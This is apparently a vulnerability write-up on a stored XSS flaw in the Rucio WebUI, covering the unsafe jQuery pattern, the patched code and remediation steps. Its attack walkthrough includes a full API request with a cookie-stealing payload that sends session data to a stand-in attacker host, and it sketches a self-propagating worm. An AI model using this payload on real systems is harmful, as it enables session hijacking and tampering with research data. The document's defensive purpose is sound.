Science vs. Scripting: Stored XSS in Rucio WebUI

Rucio isn't your average CRUD app. It is the backbone of scientific data management, originally built for the ATLAS experiment at CERN. We are talking about exabytes of data, grid computing, and the kind of infrastructure that helps discover the Higgs boson. When you manage that level of data, integrity is paramount. If I can mess with the data management layer, I can potentially corrupt scientific results or hold petabytes of research for ransom.

The vulnerability lies in the Rucio WebUI. While the backend is a complex beast of Python and databases, the frontend is... well, it's a web app. And like many web apps born in a specific era, it relies heavily on jQuery. The specific target here is the Rucio Storage Element (RSE) management interface. RSEs are the actual storage locations (disks, tapes) where data lives. Administrators configure these with metadata: location, ISP, country, etc. It sounds boring, but to a hacker, "metadata" is just a synonym for "untrusted input vector."

The root cause of CVE-2026-25734 is a tale as old as the modern web: Unsafe Sinks. The developers fell into the trap of convenience. When fetching RSE details from the backend, the WebUI needs to display them in a nice table. The logical, safe way to do this is to create a text node and insert it.

The fast way to do it—and the wrong way—is string concatenation passed to jQuery's .append() or .html().

In the vulnerable versions of rses.js, rse.js, and account.js, the code looked something like this:

// pseudo-code of the vulnerability
$('#t_metadata').append($('<tr><th>' + key + '</th><td>' + data[key] + '</td></tr>'));

See the issue? data[key] comes from the database. If I set the RSE's "City" to Geneva, it renders <td>Geneva</td>. But if I set the City to <img src=x onerror=alert(1)>, jQuery doesn't just treat that as text. It sees HTML tags, parses them, and executes them. This converts a simple data display field into a remote code execution launchpad within the administrator's browser.

Let's look at the actual remediation to understand the mechanics. The fix wasn't about adding a WAF or sanitizing input on the backend (though you should do that too); it was about context-aware output encoding.

The Vulnerable Pattern: The code was taking raw strings and forcing the browser to interpret them as HTML.

// Vulnerable: concatenation leads to HTML parsing
$('table').append('<tr><td>' + userInput + '</td></tr>');

The Fix (v39.3.1): The patch moves to programmatic DOM construction. Instead of building a string, we build elements.

// Fixed: .text() encodes HTML entities automatically
var row = $('<tr>');
var cell = $('<td>').text(userInput); // <script> becomes &lt;script&gt;
row.append(cell);
$('table').append(row);

In some places where DataTables were used, they had to use a specific idiom to sanitize the data before passing it to the grid:

// Sanitizing for DataTables
$('<div>').text(val).html();

This creates a temporary div, sets the text content (encoding it), and then grabs the html of that div (returning the encoded string). It's a bit hacky, but it works effectively to neutralize XSS payloads before the table renders them.

How does an attacker weaponize this? We need two things: Input and Execution.

Step 1: The Setup (Input) The attacker needs privileges to modify RSE metadata. This usually requires RSE Admin privileges. While this is a high-privilege requirement, in large scientific collaborations, "RSE Admin" might be a university sysadmin, not the central Rucio super-admin. If an attacker compromises a university node, they can pivot.

They send a PUT request to the Rucio API:

PUT /rses/CERN-PROD/attr HTTP/1.1
Host: rucio-server
Content-Type: application/json
 
{
  "ISP": "<img src=x onerror=fetch('https://evil.server/log?c='+btoa(document.cookie)) />"
}

Step 2: The Trap (Storage) The backend dutifully saves this string. It doesn't care that the ISP name looks like an HTML tag.

Step 3: The Trigger (Execution) A central Rucio operator (Super Admin) logs into the WebUI to troubleshoot a transfer issue at CERN-PROD. They navigate to the RSE details page. The JavaScript fetches the metadata and passes it to .append().

Step 4: The Impact The browser renders the <img> tag. The image source x fails to load. The onerror event fires. The malicious JavaScript executes.

> [!WARNING] > Critical Failure: The research indicates that Rucio session cookies lacked the HttpOnly flag (CWE-1004). This means document.cookie is fully accessible to JavaScript. The attacker instantly gets the Super Admin's session ID.

This isn't just about defacing a dashboard. The combination of Stored XSS and missing HttpOnly flags is catastrophic.

1. Session Hijacking: The attacker steals the session token and impersonates the Super Admin.
2. API Token Theft: Rucio WebUI often stores API tokens in global JavaScript variables (e.g., var token = ...). XSS allows reading these variables directly from memory.
3. Wormability: The attacker (now masquerading as Super Admin) could potentially use the XSS execution to automatically script updates to other RSEs, injecting the same payload everywhere, effectively creating a self-propagating worm within the Rucio infrastructure.

Once they are Super Admin, they can delete replicas, corrupt datasets, or disrupt data transfers across the entire grid.

If you are running Rucio, check your version immediately. You are vulnerable if you are on any version prior to 35.8.3, between 36.0.0rc1 and 38.5.4, or between 39.0.0rc1 and 39.3.1.

Immediate Actions:

1. Upgrade: Update to a patched release (e.g., 39.3.1).
2. Sanitize DB: If you suspect compromise, audit your rse_attr table in the database for strings containing <, >, or script.
3. WAF: Implement WAF rules to block HTML tags in JSON payloads destined for /rses/*/attr endpoints.

Developer Takeaway: Never, ever use innerHTML or jQuery's .append(string) with untrusted data. It doesn't matter if the data comes from your own database—if a user put it there, it's untrusted. Use .innerText or .text().